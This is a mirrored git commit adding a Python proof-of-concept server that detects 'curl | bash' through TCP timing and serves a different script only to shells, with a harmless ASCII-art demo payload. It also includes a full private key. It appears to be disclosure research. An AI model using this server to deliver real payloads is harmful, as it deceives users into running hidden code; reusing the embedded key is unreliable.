mirror of
https://github.com/moparisthebest/curl_bash
synced 2025-01-30 06:50:20 -05:00
Add original python impl
This commit is contained in:
commit
ff9618d1d7
15
py/bad.sh
Normal file
15
py/bad.sh
Normal file
@ -0,0 +1,15 @@
|
||||
echo " ▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄"
|
||||
echo " █░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄"
|
||||
echo " █░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█"
|
||||
echo " █░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█"
|
||||
echo " ▄▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░░█"
|
||||
echo "█░▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒░█"
|
||||
echo "█░▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█"
|
||||
echo " █░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█"
|
||||
echo " █░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█"
|
||||
echo " █░░░░██░░▀█▄▄▄█▄▄█▄████░█"
|
||||
echo " █░░░░▀▀▄░█░░░█░█▀██████░█"
|
||||
echo " ▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█"
|
||||
echo " ▀▄▄░▒▒▒▒░░░░░░░░░░▒░░░█"
|
||||
echo " ▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░░░░█"
|
||||
echo " ▀▄▄▄▄▄░░░░░░░░█"
|
22
py/cert.pem
Normal file
22
py/cert.pem
Normal file
@ -0,0 +1,22 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDuzCCAqOgAwIBAgIJAPHU0Wroi0Q1MA0GCSqGSIb3DQEBCwUAMHQxCzAJBgNV
|
||||
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
|
||||
aWRnaXRzIFB0eSBMdGQxDzANBgNVBAMMBnhxaS5jYzEcMBoGCSqGSIb3DQEJARYN
|
||||
YmxhaEBibGFoLmNvbTAeFw0xNjAzMDYwNTA1MzJaFw0xNzAzMDYwNTA1MzJaMHQx
|
||||
CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
|
||||
cm5ldCBXaWRnaXRzIFB0eSBMdGQxDzANBgNVBAMMBnhxaS5jYzEcMBoGCSqGSIb3
|
||||
DQEJARYNYmxhaEBibGFoLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
|
||||
ggEBANlG+tGREqYw3zQ9TjwlQlvy63Zqsy0NeKMw86rTzIUAx4CU00SZsUEIcbIL
|
||||
Uit+FUnKXlGK7z+W/xYpcNf+/EKiboU6I+6NyxosMhkpK6rmn0kfdPp3Bjv1YbJA
|
||||
6Npir7ZlJwl2++leQLXiiRmm7aji/LdBXu6VeeJK23k7oLd+IhCd9r52ukluiGIm
|
||||
7gz4VGD3GKP/j/XvZhE7MSGNmos7yRUp1becNiVS4wU0TvmpKwQ/amYbAJczWpuJ
|
||||
2kmM37ABkFlGgkjr7tw8gmySw+XFFDGzFsxlPlwspnP98npKmlImoqcJdzOykfVF
|
||||
NFCku+doe1UIfOfcQzklCpEVEZECAwEAAaNQME4wHQYDVR0OBBYEFED3SH0Jj0sS
|
||||
YKEHWdrMmOYfe/7XMB8GA1UdIwQYMBaAFED3SH0Jj0sSYKEHWdrMmOYfe/7XMAwG
|
||||
A1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBACTMObv6BjOCcl8hl/ulo/fR
|
||||
wD+nI320dU1kj/BupR5iC6rM6umNZVy6px6JKUzp9XpYgfypgJY/N0c8JKNY58BV
|
||||
Y0x7TkdG9pWrccQsdtTQRI1R52oXM7paHWeQ9HAyThfBleh4aeR8AmAIcLQpfrXw
|
||||
XO6NGwPs3T9HEu5vqQEZlSrbomebpEDKCAmTDYh+uT++T/h72cNqnTtUOHZO2F73
|
||||
Jinr5ETgGBKucq8U598y3OSWF+eMA1JoMiecep052B9Sr7PhC8Pyg1dI+iFoT0Vl
|
||||
PAR51WIJnt+BwZY9rY1Q9yZIp9G/Hu2w2SSmCUmvn9xoMvHAFpBGmUqOIj4JpzA=
|
||||
-----END CERTIFICATE-----
|
2
py/good.sh
Normal file
2
py/good.sh
Normal file
@ -0,0 +1,2 @@
|
||||
echo "Hello there :)"
|
||||
|
29
py/key.pem
Normal file
29
py/key.pem
Normal file
@ -0,0 +1,29 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDZRvrRkRKmMN80
|
||||
PU48JUJb8ut2arMtDXijMPOq08yFAMeAlNNEmbFBCHGyC1IrfhVJyl5Riu8/lv8W
|
||||
KXDX/vxCom6FOiPujcsaLDIZKSuq5p9JH3T6dwY79WGyQOjaYq+2ZScJdvvpXkC1
|
||||
4okZpu2o4vy3QV7ulXniStt5O6C3fiIQnfa+drpJbohiJu4M+FRg9xij/4/172YR
|
||||
OzEhjZqLO8kVKdW3nDYlUuMFNE75qSsEP2pmGwCXM1qbidpJjN+wAZBZRoJI6+7c
|
||||
PIJsksPlxRQxsxbMZT5cLKZz/fJ6SppSJqKnCXczspH1RTRQpLvnaHtVCHzn3EM5
|
||||
JQqRFRGRAgMBAAECggEAB52GQvwbtDl4SUNwz4jax5A/Enpw5z5WoRmhILalr2+0
|
||||
jlwo/3mHjej22y+sZJvZsSlnnuIIuqjXLfar3tYwD0HUL9U21zCfEr7Dzr/zqNzG
|
||||
bnCsz+6GCGn0T6QYxTa6Q+FNufYypB5KlFVpSr3gDJBQHTgsVJ5mlDjdcmVVn7i6
|
||||
c2ZExeynTLmV3WDTKKHyl2LKQfs47NlcdqSdwMwAHWDcjK68IqAK9nHPIBfWQp8f
|
||||
l3SBB/598DT9C5x8WqItV3JPnWK/O5qbEcaKDIz0KMJkDiUo9rXbjnW6taFWgZXG
|
||||
CiYJdSFzFLO1O2iv9ypkeLuqu3fabuY8PPkoZn+axQKBgQD9pTXeSo7eMPbpODXI
|
||||
gTN9hvZfwl1jm5NosjJyghUYEqAlzylQ+iHLbnwmErhuBzi8tHGfMKR+eEZ1p8VH
|
||||
ha2fvm+9c8UU3CoG26gOBCLXflW7rVnWCTCvA+GfIhGwufbQjEIbvAQxbtiUaJnc
|
||||
scOqqbPSTb+BMqSGIlDhThbQBwKBgQDbS1ciy8q/E5OHpulllB2jxTsM1Bg1e9+w
|
||||
P1+hmZdkHVVSMFldPy+RjkvrbsEpOg8ABgN1VkhDoY13G38IVM8XpAoSO9a6ntD9
|
||||
BhWk/XH2Plwyc/EJDVbbUXZ5oJnhWxmKs360tIgzzwRZQnPo96opvvjQzQsHNvtt
|
||||
0z7/88B7pwKBgHCBMESaE4awd0R4/zohPMKH844D+0JsRlUg/UlXM54K3OgIXE4j
|
||||
tIu0RPLqSM3c/CiPbPpsK/pAxRf4w4N24s1BPfTtfdRD14xVL9SPtxiYW9S0Dm3m
|
||||
g6aNdS0NgoU95yEXpVcB7WYzwXMKdnyyiJSRU0aL386htOIeJHvbFDlPAoGBANeu
|
||||
NOhTOXhOv7YWcs1mLPSrAhXu8FSCHhJRcjQVRPHBa+4nAW2VvKpTItZOmwp6QNCM
|
||||
GZCpKO/jj6hK0dkW2Ivu2bzvP5VSqEeDWXxpjVFcKf+xSqrVhMy2RWkAjPg5SljB
|
||||
i2gdeyxBeoxzsF68X48pdbyfPi59ZDKzJu5EBddXAoGBANMDjEQrg/6o62IEvou7
|
||||
I4HN8rYLCc8hXiKe4LZwcGfagL3mYqyOhJqg7v9tIW1nyfPQuqFfkS968ux8smdZ
|
||||
ylgP1Ep3UG81AqUU59QX7HB3ZoIvV2Z/I2Kfasl4SxDEgghkpTAaKlStZ4Ap31rx
|
||||
qSFynWTvy17R0UDpoCSqCkdm
|
||||
-----END PRIVATE KEY-----
|
||||
|
208
py/mogui.py
Normal file
208
py/mogui.py
Normal file
@ -0,0 +1,208 @@
|
||||
"""This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
A script to detect the use of curl or wget -O - | bash.
|
||||
|
||||
See https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
|
||||
for more details on how this works.
|
||||
|
||||
@author Phil
|
||||
"""
|
||||
|
||||
from numpy import std
|
||||
import re
|
||||
import SocketServer
|
||||
import socket
|
||||
import ssl
|
||||
import time
|
||||
|
||||
class MoguiServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
|
||||
"""HTTP server to detect curl | bash"""
|
||||
|
||||
daemon_threads = True
|
||||
allow_reuse_address = True
|
||||
payloads = {}
|
||||
ssl_options = None
|
||||
|
||||
def __init__(self, server_address):
|
||||
"""Accepts a tuple of (HOST, PORT)"""
|
||||
|
||||
# Socket timeout
|
||||
self.socket_timeout = 10
|
||||
|
||||
# Outbound tcp socket buffer size
|
||||
self.buffer_size = 87380
|
||||
|
||||
# What to fill the tcp buffers with
|
||||
self.padding = chr(0) * (self.buffer_size)
|
||||
|
||||
# Maximum number of blocks of padding - this
|
||||
# shouldn't need to be adjusted but may need to be increased
|
||||
# if its not working.
|
||||
self.max_padding = 16
|
||||
|
||||
# HTTP 200 status code
|
||||
self.packet_200 = ("HTTP/1.1 200 OK\r\n" + \
|
||||
"Server: Apache\r\n" + \
|
||||
"Date: %s\r\n" + \
|
||||
"Content-Type: text/plain; charset=us-ascii\r\n" + \
|
||||
"Transfer-Encoding: chunked\r\n" + \
|
||||
"Connection: keep-alive\r\n\r\n") % time.ctime(time.time())
|
||||
|
||||
SocketServer.TCPServer.__init__(self, server_address, HTTPHandler)
|
||||
|
||||
def setssl(self, cert_file, key_file):
|
||||
"""Sets SSL params for the server sockets"""
|
||||
|
||||
self.ssl_options = (cert_file, key_file)
|
||||
|
||||
def setscript(self, uri, params):
|
||||
"""Sets parameters for each URI"""
|
||||
|
||||
(null, good, bad, min_jump, max_variance) = params
|
||||
|
||||
null = open(null, "r").read() # Base file with a delay
|
||||
good = open(good, "r").read() # Non malicious payload
|
||||
bad = open(bad, "r").read() # Malicious payload
|
||||
|
||||
self.payloads[uri] = (null, good, bad, min_jump, max_variance)
|
||||
|
||||
|
||||
|
||||
class HTTPHandler(SocketServer.BaseRequestHandler):
|
||||
"""Socket handler for MoguiServer"""
|
||||
|
||||
def sendchunk(self, text):
|
||||
"""Sends a single HTTP chunk"""
|
||||
|
||||
self.request.sendall("%s\r\n" % hex(len(text))[2:])
|
||||
self.request.sendall(text)
|
||||
self.request.sendall("\r\n")
|
||||
|
||||
def log(self, msg):
|
||||
"""Writes output to stdout"""
|
||||
|
||||
print "[%s] %s %s" % (time.time(), self.client_address[0], msg)
|
||||
|
||||
def handle(self):
|
||||
"""Handles inbound TCP connections from MoguiServer"""
|
||||
|
||||
# If the two packets are transmitted with a difference in time
|
||||
# of min_jump and the remaining packets have a time difference with
|
||||
# a variance of less then min_var the output has been piped
|
||||
# via bash.
|
||||
|
||||
self.log("Inbound request")
|
||||
|
||||
# Setup socket options
|
||||
|
||||
self.request.settimeout(self.server.socket_timeout)
|
||||
self.request.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
self.request.setsockopt(socket.SOL_SOCKET,
|
||||
socket.SO_SNDBUF,
|
||||
self.server.buffer_size)
|
||||
|
||||
# Attempt to wrap the TCP socket in SSL
|
||||
|
||||
try:
|
||||
if self.server.ssl_options:
|
||||
self.request = ssl.wrap_socket(self.request,
|
||||
certfile=self.server.ssl_options[0],
|
||||
keyfile=self.server.ssl_options[1],
|
||||
server_side=True)
|
||||
except ssl.SSLError:
|
||||
self.log("SSL negotiation failed")
|
||||
return
|
||||
|
||||
# Parse the HTTP request
|
||||
|
||||
data = None
|
||||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
except socket.error:
|
||||
self.log("No data received")
|
||||
return
|
||||
|
||||
uri = re.search("^GET ([^ ]+) HTTP/1.[0-9]", data)
|
||||
|
||||
if not uri:
|
||||
self.log("HTTP request malformed.")
|
||||
return
|
||||
|
||||
request_uri = uri.group(1)
|
||||
self.log("Request for shell script %s" % request_uri)
|
||||
|
||||
if request_uri not in self.server.payloads:
|
||||
self.log("No payload found for %s" % request_uri)
|
||||
return
|
||||
|
||||
# Return 200 status code
|
||||
|
||||
self.request.sendall(self.server.packet_200)
|
||||
|
||||
(payload_plain, payload_good, payload_bad, min_jump, max_var) = self.server.payloads[request_uri]
|
||||
|
||||
# Send plain payload
|
||||
|
||||
self.sendchunk(payload_plain)
|
||||
|
||||
if not re.search("User-Agent: (curl|Wget)", data):
|
||||
self.sendchunk(payload_good)
|
||||
self.sendchunk("")
|
||||
self.log("Request not via wget/curl. Returning good payload.")
|
||||
return
|
||||
|
||||
timing = []
|
||||
stime = time.time()
|
||||
|
||||
for i in range(0, self.server.max_padding):
|
||||
self.sendchunk(self.server.padding)
|
||||
timing.append(time.time() - stime)
|
||||
|
||||
# ReLU curve analysis
|
||||
|
||||
max_array = [timing[i+1] - timing[i] for i in range(len(timing)-1)]
|
||||
|
||||
jump = max(max_array)
|
||||
|
||||
del max_array[max_array.index(jump)]
|
||||
|
||||
var = std(max_array) ** 2
|
||||
|
||||
self.log("Variance = %s, Maximum Jump = %s" % (var, jump))
|
||||
|
||||
# Payload choice
|
||||
|
||||
if var < max_var and jump > min_jump:
|
||||
self.log("Execution through bash detected - sending bad payload :D")
|
||||
self.sendchunk(payload_bad)
|
||||
else:
|
||||
self.log("Sending good payload :(")
|
||||
self.sendchunk(payload_good)
|
||||
|
||||
self.sendchunk("")
|
||||
self.log("Connection closed.")
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
HOST, PORT = "0.0.0.0", 5555
|
||||
|
||||
SERVER = MoguiServer((HOST, PORT))
|
||||
SERVER.setscript("/setup.bash", ("ticker.sh", "good.sh", "bad.sh", 2.0, 0.1))
|
||||
SERVER.setssl("cert.pem", "key.pem")
|
||||
|
||||
print "Listening on %s %s" % (HOST, PORT)
|
||||
SERVER.serve_forever()
|
1
py/ticker.sh
Normal file
1
py/ticker.sh
Normal file
@ -0,0 +1 @@
|
||||
sleep 3
|
Loading…
Reference in New Issue
Block a user